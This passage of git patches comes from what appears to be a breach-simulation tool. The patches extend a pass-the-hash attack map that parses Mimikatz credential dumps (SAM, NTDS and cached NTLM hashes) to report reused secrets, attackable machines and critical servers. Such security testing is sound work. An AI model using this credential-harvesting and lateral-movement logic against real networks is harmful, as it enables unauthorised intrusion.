    " attackable_counts = dict(map(lambda m: (m, pth.GetVictimCountByMachine(m)), pth.machines)) From 96c9681bf1bd036df54038dbd90cbf3fa59abd90 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Sat, 10 Mar 2018 23:58:51 -0800 Subject: [PATCH 026/183] eliminate some 'None'-s from the report --- monkey_island/cc/resources/pthmap.py | 23 ++++++++++++++++++++--- 1 file changed, 20 insertions(+), 3 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 6caad92fc..4f2831d8e 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -95,6 +95,13 @@ class Machine(object): continue return eval(user["SID"]) + + if not self.IsDomainController(): + for dc in self.GetDomainControllers(): + sid = dc.GetSidByUsername(username) + + if sid != None: + return sid return None @@ -305,7 +312,12 @@ class Machine(object): SIDs = set() for username in doc["data"]["credentials"]: - SIDs.add(self.GetSidByUsername(username)) + sid = self.GetSidByUsername(username) + + if not sid: + sid = "__USERNAME__" + username + + SIDs.add(sid) return SIDs @@ -665,7 +677,12 @@ def main(): print """

    SIDs cached on this machine

    """ print """
      """ for sid in m.GetCachedSids(): - print """
    • {username} ({sid})
    • """.format(username=m.GetUsernameBySid(sid), sid=sid) + if sid.startswith("__USERNAME__"): + sids = pth.GetSidsByUsername(sid[len("__USERNAME__"):]) + if len(sids) == 1: + sid = sids.pop() + + print """
    • {username} ({sid})
    • """.format(username=pth.GetUsernameBySid(sid), sid=sid) print """
    """ print """

    Possible Attackers

    """ @@ -691,7 +708,7 @@ def main(): print """

    Matching SIDs

    """ print """
      """ for sid in pth.GetSidsByUsername(username): - print """
    • {username} ({sid})
    • """.format(username=m.GetUsernameBySid(sid), sid=sid) + print """
    • {username} ({sid})
    • """.format(username=pth.GetUsernameBySid(sid), sid=sid) print """
    """ print "
    " From 38c499f6b19069d0c5a99396b5fa32eeb709fd78 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Sun, 1 Apr 2018 05:24:40 -0700 Subject: [PATCH 027/183] able to run island server --- monkey_island/cc/resources/pthmap.py | 24 ++++++++++++++++-------- 1 file changed, 16 insertions(+), 8 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 4f2831d8e..2b8890193 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -1,10 +1,3 @@ -#import flask_restful -# -#from cc.auth import jwt_required -#from cc.services.edge import EdgeService -#from cc.services.node import NodeService -#from cc.database import mongo - import hashlib import binascii from pymongo import MongoClient @@ -14,7 +7,7 @@ class mongo(object): #class PthMap(flask_restful.Resource): class PthMap(object): -# @jwt_required() + #@jwt_required() def get(self, **kw): graph = PassTheHashMap() @@ -24,6 +17,21 @@ class PthMap(object): "edges": [{"id": str(s) + str(t), "from": s, "to": t, "label": label} for s, t, label in graph.edges] } +if not __name__ == "__main__": + import flask_restful + + from cc.auth import jwt_required + from cc.services.edge import EdgeService + from cc.services.node import NodeService + from cc.database import mongo + + PthMapOrig = PthMap + + class PthMap(flask_restful.Resource): + @jwt_required() + def get(self, **kw): + return PthMapOrig.get(self, **kw) + DsRole_RoleStandaloneWorkstation = 0 DsRole_RoleMemberWorkstation = 1 DsRole_RoleStandaloneServer = 2 From 84998849956e1dff9e49660e14ede92348f60627 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Sun, 1 Apr 2018 08:11:22 -0700 Subject: [PATCH 028/183] fix registry enum bug --- infection_monkey/system_info/windows_info_collector.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index 9b5e12d7f..cf821fa45 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -131,7 +131,7 @@ class WindowsInfoCollector(InfoCollector): key = _winreg.ConnectRegistry(None, store) subkey = _winreg.OpenKey(key, subkey_path) - d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[0])]) + d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[1])]) d = fix_obj_for_mongo(d) self.info[subkey_path] = d From fc850726decea40416d4aef96386c88c18b6e044 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Mon, 2 Apr 2018 01:41:06 -0700 Subject: [PATCH 029/183] fix utf8 bug --- infection_monkey/config.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index e62820816..6e41938fe 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -23,7 +23,7 @@ def _cast_by_example(value, example): """ example_type = type(example) if example_type is str: - return str(os.path.expandvars(value)) + return os.path.expandvars(value).encode("utf8") elif example_type is tuple and len(example) != 0: if value is None or value == tuple(None): return tuple() From 990e68fc4dd0c926a96ce31d680d9511c3f7168b Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 3 Apr 2018 10:47:10 +0300 Subject: [PATCH 030/183] Add cache to boost performance and a few more fixes --- monkey_island/cc/resources/pthmap.py | 228 ++++++++++++++++++++++----- 1 file changed, 185 insertions(+), 43 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 2b8890193..b652c86df 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -43,6 +43,57 @@ def myntlm(x): hash = hashlib.new('md4', x.encode('utf-16le')).digest() return str(binascii.hexlify(hash)) +def cache(foo): + def hash(o): + if type(o) in (int, float, str, unicode): + return o + + elif type(o) in (list, tuple): + hashed = tuple([hash(x) for x in o]) + + if "NotHashable" in hashed: + return "NotHashable" + + return hashed + + elif type(o) == dict: + hashed_keys = tuple([hash(k) for k, v in o.iteritems()]) + hashed_vals = tuple([hash(v) for k, v in o.iteritems()]) + + if "NotHashable" in hashed_keys or "NotHashable" in hashed_vals: + return "NotHashable" + + return tuple(zip(hashed_keys, hashed_vals)) + + elif type(o) == Machine: + return o.monkey_guid + + elif type(o) == PthMap: + return "PthMapSingleton" + + elif type(o) == PassTheHashMap: + return "PassTheHashMapSingleton" + + else: + return "NotHashable" + + def wrapper(*args, **kwargs): + hashed = (hash(args), hash(kwargs)) + + if "NotHashable" in hashed: + print foo + return foo(*args, **kwargs) + + if not hasattr(foo, "_mycache_"): + foo._mycache_ = dict() + + if hashed not in foo._mycache_.keys(): + foo._mycache_[hashed] = foo(*args, **kwargs) + + return foo._mycache_[hashed] + + return wrapper + class Machine(object): def __init__(self, monkey_guid): self.monkey_guid = str(monkey_guid) @@ -52,6 +103,7 @@ class Machine(object): if self.latest_system_info.count() > 0: self.latest_system_info = self.latest_system_info[0] + @cache def GetMimikatzOutput(self): doc = self.latest_system_info @@ -60,6 +112,7 @@ class Machine(object): return doc["data"]["mimikatz"] + @cache def GetHostName(self): doc = self.latest_system_info @@ -68,6 +121,7 @@ class Machine(object): return None + @cache def GetIp(self): doc = self.latest_system_info @@ -76,6 +130,7 @@ class Machine(object): return None + @cache def GetDomainName(self): doc = self.latest_system_info @@ -83,7 +138,8 @@ class Machine(object): return eval(comp["Domain"]) return None - + + @cache def GetDomainRole(self): doc = self.latest_system_info @@ -92,9 +148,11 @@ class Machine(object): return None + @cache def IsDomainController(self): return self.GetDomainRole() in (DsRole_RolePrimaryDomainController, DsRole_RoleBackupDomainController) + @cache def GetSidByUsername(self, username): doc = self.latest_system_info @@ -113,6 +171,7 @@ class Machine(object): return None + @cache def GetUsernameBySid(self, sid): doc = self.latest_system_info @@ -130,7 +189,8 @@ class Machine(object): return username return None - + + @cache def GetUsernamesBySecret(self, secret): sam = self.GetLocalSecrets() @@ -142,10 +202,12 @@ class Machine(object): return names + @cache def GetSidsBySecret(self, secret): usernames = self.GetUsernamesBySecret(secret) return set(map(self.GetSidByUsername, usernames)) + @cache def GetGroupSidByGroupName(self, group_name): doc = self.latest_system_info @@ -157,6 +219,7 @@ class Machine(object): return None + @cache def GetUsersByGroupSid(self, sid): doc = self.latest_system_info @@ -173,6 +236,7 @@ class Machine(object): return users + @cache def GetDomainControllersMonkeyGuidByDomainName(self, domain_name): cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "data.Win32_ComputerSystem.Domain":"u'%s'" % (domain_name,)}) @@ -186,9 +250,11 @@ class Machine(object): return GUIDs + @cache def GetLocalAdmins(self): return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).keys()) + @cache def GetLocalSids(self): doc = self.latest_system_info @@ -199,9 +265,11 @@ class Machine(object): return SIDs + @cache def GetLocalAdminNames(self): return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).values()) - + + @cache def GetSam(self): if not self.GetMimikatzOutput(): return {} @@ -211,16 +279,26 @@ class Machine(object): if mimikatz.count("\n42.") != 2: return {} - sam_users = mimikatz.split("\n42.")[1].split("\nSAMKey :")[1].split("\n\n")[1:] + try: + sam_users = mimikatz.split("\n42.")[1].split("\nSAMKey :")[1].split("\n\n")[1:] - sam = {} - - for sam_user_txt in sam_users: - sam_user = dict([map(unicode.strip, line.split(":")) for line in filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) - sam[sam_user["User"]] = sam_user["NTLM"].replace("[hashed secret]", "").strip() - - return sam - + sam = {} + + for sam_user_txt in sam_users: + sam_user = dict([map(unicode.strip, line.split(":")) for line in filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) + + ntlm = sam_user["NTLM"] + if "[hashed secret]" not in ntlm: + continue + + sam[sam_user["User"]] = ntlm.replace("[hashed secret]", "").strip() + + return sam + + except: + return {} + + @cache def GetNtds(self): if not self.GetMimikatzOutput(): return {} @@ -243,6 +321,7 @@ class Machine(object): return ntds + @cache def GetLocalSecrets(self): sam = self.GetSam() ntds = self.GetNtds() @@ -251,10 +330,12 @@ class Machine(object): secrets.update(ntds) return secrets - + + @cache def GetLocalAdminSecrets(self): return set(self.GetLocalAdminCreds().values()) + @cache def GetLocalAdminCreds(self): admin_names = self.GetLocalAdminNames() sam = self.GetLocalSecrets() @@ -269,35 +350,44 @@ class Machine(object): return admin_creds + @cache def GetCachedSecrets(self): return set(self.GetCachedCreds().values()) + @cache def GetCachedCreds(self): doc = self.latest_system_info creds = dict() - for username in doc["data"]["credentials"]: - user = doc["data"]["credentials"][username] - - if "password" in user.keys(): - ntlm = myntlm(str(user["password"])) - elif "ntlm_hash" in user.keys(): - ntlm = str(user["ntlm_hash"]) - else: - continue + if not self.GetMimikatzOutput(): + return {} + + mimikatz = self.GetMimikatzOutput() + + for user in mimikatz.split("\n42.")[0].split("Authentication Id")[1:]: + username = None + secret = None - secret = hashlib.md5(ntlm.decode("hex")).hexdigest() - - creds[username] = secret + for line in user.splitlines(): + if "User Name" in line: + username = line.split(":")[1].strip() + + if ("NTLM" in line or "Password" in line) and "[hashed secret]" in line: + secret = line.split(":")[1].replace("[hashed secret]", "").strip() + + if username and secret: + creds[username] = secret return creds + @cache def GetDomainControllers(self): domain_name = self.GetDomainName() DCs = self.GetDomainControllersMonkeyGuidByDomainName(domain_name) return map(Machine, DCs) + @cache def GetDomainAdminsOfMachine(self): DCs = self.GetDomainControllers() @@ -308,12 +398,15 @@ class Machine(object): return domain_admins + @cache def GetAdmins(self): return self.GetLocalAdmins() | self.GetDomainAdminsOfMachine() - + + @cache def GetAdminNames(self): return set(map(lambda x: self.GetUsernameBySid(x), self.GetAdmins())) + @cache def GetCachedSids(self): doc = self.latest_system_info @@ -329,6 +422,7 @@ class Machine(object): return SIDs + @cache def GetCachedUsernames(self): doc = self.latest_system_info @@ -342,12 +436,14 @@ class Machine(object): class PassTheHashMap(object): def __init__(self): self.vertices = self.GetAllMachines() + self.edges = set() self.machines = map(Machine, self.vertices) - + self.GenerateEdgesBySid() # Useful for non-cached domain users self.GenerateEdgesBySamHash() # This will add edges based only on password hash without caring about username - + + @cache def GetAllMachines(self): cur = mongo.db.telemetry.find({"telem_type":"system_info_collection"}) @@ -357,7 +453,8 @@ class PassTheHashMap(object): GUIDs.add(doc["monkey_guid"]) return GUIDs - + + @cache def ReprSidList(self, sid_list, attacker, victim): label = set() @@ -372,6 +469,7 @@ class PassTheHashMap(object): return ",\n".join(label) + @cache def ReprSecretList(self, secret_list, victim): label = set() @@ -380,6 +478,7 @@ class PassTheHashMap(object): return ",\n".join(label) + @cache def GenerateEdgesBySid(self): for attacker in self.vertices: cached = Machine(attacker).GetCachedSids() @@ -389,11 +488,12 @@ class PassTheHashMap(object): continue admins = Machine(victim).GetAdmins() - + if len(cached & admins) > 0: label = self.ReprSidList(cached & admins, attacker, victim) self.edges.add((attacker, victim, label)) + @cache def GenerateEdgesBySamHash(self): for attacker in self.vertices: cached_creds = set(Machine(attacker).GetCachedCreds().items()) @@ -408,6 +508,7 @@ class PassTheHashMap(object): label = self.ReprSecretList(set(dict(cached_creds & admin_creds).values()), victim) self.edges.add((attacker, victim, label)) + @cache def GenerateEdgesByUsername(self): for attacker in self.vertices: cached = Machine(attacker).GetCachedUsernames() @@ -421,34 +522,48 @@ class PassTheHashMap(object): if len(cached & admins) > 0: self.edges.add((attacker, victim)) + @cache def Print(self): print map(lambda x: Machine(x).GetIp(), self.vertices) print map(lambda x: (Machine(x[0]).GetIp(), Machine(x[1]).GetIp()), self.edges) + @cache def GetPossibleAttackCountBySid(self, sid): return len(self.GetPossibleAttacksBySid(sid)) + @cache + def GetPossibleAttacksByAttacker(self, attacker): + attacks = set() + + cached_creds = set(Machine(attacker).GetCachedCreds().items()) + + for victim in self.vertices: + if attacker == victim: + continue + + admin_creds = set(Machine(victim).GetLocalAdminCreds().items()) + + if len(cached_creds & admin_creds) > 0: + curr_attacks = dict(cached_creds & admin_creds) + attacks.add((attacker, victim, curr_attacks)) + + return attacks + + @cache def GetPossibleAttacksBySid(self, sid): attacks = set() for attacker in self.vertices: - cached_creds = set(Machine(attacker).GetCachedCreds().items()) + tmp = self.GetPossibleAttacksByAttacker(attacker) - for victim in self.vertices: - if attacker == victim: - continue - - admin_creds = set(Machine(victim).GetLocalAdminCreds().items()) - - if len(cached_creds & admin_creds) > 0: - curr_attacks = dict(cached_creds & admin_creds) - - for username, secret in curr_attacks.iteritems(): - if Machine(victim).GetSidByUsername(username) == sid: - attacks.add((attacker, victim)) + for _, victim, curr_attacks in tmp: + for username, secret in curr_attacks.iteritems(): + if Machine(victim).GetSidByUsername(username) == sid: + attacks.add((attacker, victim)) return attacks + @cache def GetSecretBySid(self, sid): for m in self.machines: for user, user_secret in m.GetLocalSecrets().iteritems(): @@ -457,15 +572,19 @@ class PassTheHashMap(object): return None + @cache def GetVictimCountBySid(self, sid): return len(self.GetVictimsBySid(sid)) + @cache def GetVictimCountByMachine(self, attacker): return len(self.GetVictimsByAttacker(attacker)) + @cache def GetAttackCountBySecret(self, secret): return len(self.GetAttackersBySecret(secret)) + @cache def GetAllUsernames(self): names = set() @@ -474,6 +593,7 @@ class PassTheHashMap(object): return names + @cache def GetAllSids(self): SIDs = set() @@ -482,6 +602,7 @@ class PassTheHashMap(object): return SIDs + @cache def GetAllSecrets(self): secrets = set() @@ -491,6 +612,7 @@ class PassTheHashMap(object): return secrets + @cache def GetUsernameBySid(self, sid): for m in self.machines: username = m.GetUsernameBySid(sid) @@ -500,6 +622,7 @@ class PassTheHashMap(object): return None + @cache def GetSidsBySecret(self, secret): SIDs = set() @@ -508,6 +631,7 @@ class PassTheHashMap(object): return SIDs + @cache def GetAllDomainControllers(self): DCs = set() @@ -517,6 +641,7 @@ class PassTheHashMap(object): return DCs + @cache def GetSidsByUsername(self, username): SIDs = set() @@ -527,6 +652,7 @@ class PassTheHashMap(object): return SIDs + @cache def GetVictimsBySid(self, sid): machines = set() @@ -536,6 +662,7 @@ class PassTheHashMap(object): return machines + @cache def GetVictimsBySecret(self, secret): machines = set() @@ -547,6 +674,7 @@ class PassTheHashMap(object): return machines + @cache def GetAttackersBySecret(self, secret): machines = set() @@ -556,6 +684,7 @@ class PassTheHashMap(object): return machines + @cache def GetAttackersByVictim(self, victim): attackers = set() @@ -565,6 +694,7 @@ class PassTheHashMap(object): return attackers + @cache def GetVictimsByAttacker(self, attacker): victims = set() @@ -574,6 +704,7 @@ class PassTheHashMap(object): return victims + @cache def GetInPathCountByVictim(self, victim, already_processed=None): if type(victim) != unicode: victim = victim.monkey_guid @@ -607,11 +738,14 @@ def main(): print "

    Duplicated Passwords

    " print "

    How many users share each secret?

    " + dups = dict(map(lambda x: (x, len(pth.GetSidsBySecret(x))), pth.GetAllSecrets())) print """""" print """""" for secret, count in sorted(dups.iteritems(), key=lambda (k,v): (v,k), reverse=True): + if count <= 1: + continue print """""".format(secret=secret, count=count) print """
    SecretUser Count
    {secret}{count}
    """ @@ -622,6 +756,8 @@ def main(): print """""" print """""" for secret, count in sorted(cache_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): + if count <= 0: + continue print """""".format(secret=secret, count=count) print """
    SecretMachine Count
    {secret}{count}
    """ @@ -632,6 +768,8 @@ def main(): print """""" print """""" for sid, count in sorted(attackable_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): + if count <= 1: + continue print """""".format(sid=sid, username=pth.GetUsernameBySid(sid), count=count) print """
    SIDUsernameMachine Count
    {sid}{username}{count}
    """ @@ -642,6 +780,8 @@ def main(): print """""" print """""" for sid, count in sorted(possible_attacks_by_sid.iteritems(), key=lambda (k,v): (v,k), reverse=True): + if count <= 1: + continue print """""".format(sid=sid, username=pth.GetUsernameBySid(sid), count=count) print """
    SIDUsernameMachine Count
    {sid}{username}{count}
    """ @@ -652,6 +792,8 @@ def main(): print """""" print """""" for m, count in sorted(attackable_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): + if count <= 1: + continue print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) print """
    Attacker IpAttacker HostnameDomain NameVictim Machine Count
    {ip}{hostname}{domain}{count}
    """ From e557f78ae35306c68601d4e2088185445eac3a94 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 3 Apr 2018 11:01:53 +0300 Subject: [PATCH 031/183] remove more junk data --- monkey_island/cc/resources/pthmap.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index b652c86df..989df830d 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -814,6 +814,8 @@ def main(): print """""" print """""" for m, path_count in sorted(all_machines.iteritems(), key=lambda (k,v): (v,k), reverse=True): + if count <= 0: + continue print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), path_count=path_count) print """
    IpHostnameDomain NameIn-Path Count
    {ip}{hostname}{domain}{path_count}
    """ From eeae92ccda9ce30b9ec568f39e000b37eb7bb47e Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Wed, 4 Apr 2018 05:55:59 -0700 Subject: [PATCH 032/183] missing line --- infection_monkey/system_info/windows_info_collector.py | 1 + 1 file changed, 1 insertion(+) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index cf7619a78..d459a0e2d 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -101,6 +101,7 @@ class WindowsInfoCollector(InfoCollector): self.get_reg_key(r"SYSTEM\CurrentControlSet\Control\Lsa") self.get_installed_packages() + mimikatz_collector = MimikatzCollector() mimikatz_info = mimikatz_collector.get_logon_info() self.info["credentials"].update(mimikatz_info) self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text() From 826df43708d512a9d89fbaafa3dad1830cfc3938 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 10 Apr 2018 17:51:09 +0300 Subject: [PATCH 033/183] add cahce --- monkey_island/cc/resources/pthmap.py | 38 ++++++++++++++++++++++++---- 1 file changed, 33 insertions(+), 5 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 989df830d..e33bd4870 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -173,23 +173,40 @@ class Machine(object): @cache def GetUsernameBySid(self, sid): + info = self.GetSidInfo(sid) + + if not info: + return None + + return info["Domain"] + "\\" + info["Username"] + + @cache + def GetSidInfo(self, sid): doc = self.latest_system_info for user in doc["data"]["Win32_UserAccount"]: if eval(user["SID"]) != sid: continue - return eval(user["Name"]) + return { "Domain": eval(user["Domain"]), + "Username": eval(user["Name"]), + "Disabled": user["Disabled"] == "true", + "PasswordRequired": user["PasswordRequired"] == "true", + "PasswordExpires": user["PasswordExpires"] == "true", } if not self.IsDomainController(): for dc in self.GetDomainControllers(): - username = dc.GetUsernameBySid(sid) + domain = dc.GetSidInfo(sid) - if username != None: - return username + if domain != None: + return domain return None + @cache + def GetInstalledServices(self): + "IIS-WebServer" + @cache def GetUsernamesBySecret(self, secret): sam = self.GetLocalSecrets() @@ -622,6 +639,16 @@ class PassTheHashMap(object): return None + @cache + def GetSidInfo(self, sid): + for m in self.machines: + info = m.GetSidInfo(sid) + + if info: + return info + + return None + @cache def GetSidsBySecret(self, secret): SIDs = set() @@ -868,8 +895,9 @@ def main(): for sid in pth.GetAllSids(): print """

    SID '{sid}'

    Username: '{username}'

    +

    Domain: {domain}

    Secret: '{secret}'

    - """.format(username=pth.GetUsernameBySid(sid), sid=sid, secret=pth.GetSecretBySid(sid)) + """.format(username=pth.GetUsernameBySid(sid), sid=sid, secret=pth.GetSecretBySid(sid), domain=pth.GetSidInfo(sid)["Domain"]) print """

    Attackable Machines

    """ print """
      """ From 21cf786d51ad604282bc430ff305c5039a6b09ea Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 10 Apr 2018 17:51:18 +0300 Subject: [PATCH 034/183] add more wmi classeS --- infection_monkey/system_info/windows_info_collector.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index cf821fa45..0b888ec2b 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -21,9 +21,10 @@ WMI_CLASSES = set(["Win32_OperatingSystem", "Win32_UserProfile", "Win32_Group", "Win32_GroupUser", - #"Win32_Product", + "Win32_Product", + "Win32_Service", + "Win32_OptionalFeature", #"Win32_Process", - #"Win32_Service" ]) def fix_obj_for_mongo(o): @@ -131,7 +132,7 @@ class WindowsInfoCollector(InfoCollector): key = _winreg.ConnectRegistry(None, store) subkey = _winreg.OpenKey(key, subkey_path) - d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[1])]) + d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[0])]) d = fix_obj_for_mongo(d) self.info[subkey_path] = d From 502997a8e4e3a08b6b3b9304a65ce1ae08bea131 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 10 Apr 2018 18:55:53 +0300 Subject: [PATCH 035/183] add logs --- monkey_island/cc/resources/telemetry.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index d7b21035c..6297710e2 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -1,5 +1,6 @@ import json import traceback +import logging import copy from datetime import datetime @@ -16,6 +17,8 @@ from cc.encryptor import encryptor __author__ = 'Barak' +LOG = logging.getLogger(__name__) + class Telemetry(flask_restful.Resource): @jwt_required() @@ -167,11 +170,16 @@ class Telemetry(flask_restful.Resource): @staticmethod def process_system_info_telemetry(telemetry_json): + LOG.debug("Processing system info telemtery for encryption...") + if 'credentials' in telemetry_json['data']: + LOG.debug("Encrypting telemetry credentials...") creds = telemetry_json['data']['credentials'] Telemetry.encrypt_system_info_creds(creds) Telemetry.add_system_info_creds_to_config(creds) Telemetry.replace_user_dot_with_comma(creds) + + LOG.debug("Done enrypting") @staticmethod def process_trace_telemetry(telemetry_json): From b74167178f012f52f4d4dd51d4c54e5c913d00ab Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 12:29:28 +0300 Subject: [PATCH 036/183] add installed services to report --- monkey_island/cc/resources/pthmap.py | 40 +++++++++++++++++++++++++++- 1 file changed, 39 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index e33bd4870..2df94a190 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -205,8 +205,37 @@ class Machine(object): @cache def GetInstalledServices(self): - "IIS-WebServer" + def IsNameOfCriticalService(name): + services = ("iis", "exchange", "active directory", "domain controller", "mssql") + name = name.lower() + + for ser in services: + if ser in name: + return True + + return False + doc = self.latest_system_info + found = [] + + for product in doc["data"]["Win32_Product"]: + service_name = eval(product["Name"]) + + if not IsNameOfCriticalService(service_name): + continue + + found.append(service_name) + + for service in doc["data"]["Win32_Service"]: + service_name = eval(service["Name"]) + + if not IsNameOfCriticalService(service_name): + continue + + found.append(service_name) + + return found + @cache def GetUsernamesBySecret(self, secret): sam = self.GetLocalSecrets() @@ -878,6 +907,15 @@ def main(): for sid in m.GetAdmins(): print """
    • {username} ({sid})
    • """.format(username=m.GetUsernameBySid(sid), sid=sid) print """
    """ + + print """

    Installed Critical Services

    """ + print """

    List of crtical services found installed on machine

    """ + print """
      """ + for service_name in m.GetInstalledServices(): + print """
    • {service_name}
    • """.format(service_name=service_name) + print """
    """ + + print "
    " From 0fa14d631cff9e2ef373e16f0dae42beda8227b0 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 12:45:32 +0300 Subject: [PATCH 037/183] add critical server list to report --- monkey_island/cc/resources/pthmap.py | 34 +++++++++++++++++++++++++--- 1 file changed, 31 insertions(+), 3 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 2df94a190..434dc35a7 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -204,9 +204,14 @@ class Machine(object): return None @cache - def GetInstalledServices(self): + def GetCriticalServicesInstalled(self): def IsNameOfCriticalService(name): - services = ("iis", "exchange", "active directory", "domain controller", "mssql") + services = ("W3svc", "MSExchangeServiceHost", "MSSQLServer") + services = map(string.lower, services) + + if not name: + return False + name = name.lower() for ser in services: @@ -217,6 +222,9 @@ class Machine(object): doc = self.latest_system_info found = [] + + if self.IsDomainController(): + found.append("Domain Controller") for product in doc["data"]["Win32_Product"]: service_name = eval(product["Name"]) @@ -787,6 +795,16 @@ class PassTheHashMap(object): return count + @cache + def GetCritialServers(self): + machines = set() + + for m in self.machines: + if m.IsCriticalServer(): + machines.add(m) + + return machines + def main(): pth = PassTheHashMap() @@ -875,6 +893,16 @@ def main(): print """{ip}{hostname}{domain}{path_count}""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), path_count=path_count) print """""" + print "

    Critical Servers

    " + print "

    List of all machines identified as critical servers

    " + critical_servers = pth.GetCritialServers() + + print """""" + print """""" + for m in critical_servers: + print """""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName()) + print """
    IpHostnameDomain Name
    {ip}{hostname}{domain}
    """ + print "
    " for m in pth.machines: @@ -911,7 +939,7 @@ def main(): print """

    Installed Critical Services

    """ print """

    List of crtical services found installed on machine

    """ print """
      """ - for service_name in m.GetInstalledServices(): + for service_name in m.GetCriticalServicesInstalled(): print """
    • {service_name}
    • """.format(service_name=service_name) print """
    """ From 6d5d8595a0bfa9e45956759091ad561f681b2639 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 12:47:52 +0300 Subject: [PATCH 038/183] fix --- monkey_island/cc/resources/pthmap.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 434dc35a7..a27d509e4 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -244,6 +244,10 @@ class Machine(object): return found + @cache + def IsCriticalServer(self): + return len(self.GetCriticalServicesInstalled()) > 0 + @cache def GetUsernamesBySecret(self, secret): sam = self.GetLocalSecrets() From cdadb32ff0620a57b813c61441acc7b79d5b7df6 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 12:49:14 +0300 Subject: [PATCH 039/183] fix --- monkey_island/cc/resources/pthmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index a27d509e4..5730a2ade 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -207,7 +207,7 @@ class Machine(object): def GetCriticalServicesInstalled(self): def IsNameOfCriticalService(name): services = ("W3svc", "MSExchangeServiceHost", "MSSQLServer") - services = map(string.lower, services) + services = map(str.lower, services) if not name: return False From 2c68cca5db6ae790b440f103888247ba62068d15 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 17 Apr 2018 13:12:57 +0300 Subject: [PATCH 040/183] add list of the users that share each password --- monkey_island/cc/resources/pthmap.py | 24 +++++++++++++++++++----- 1 file changed, 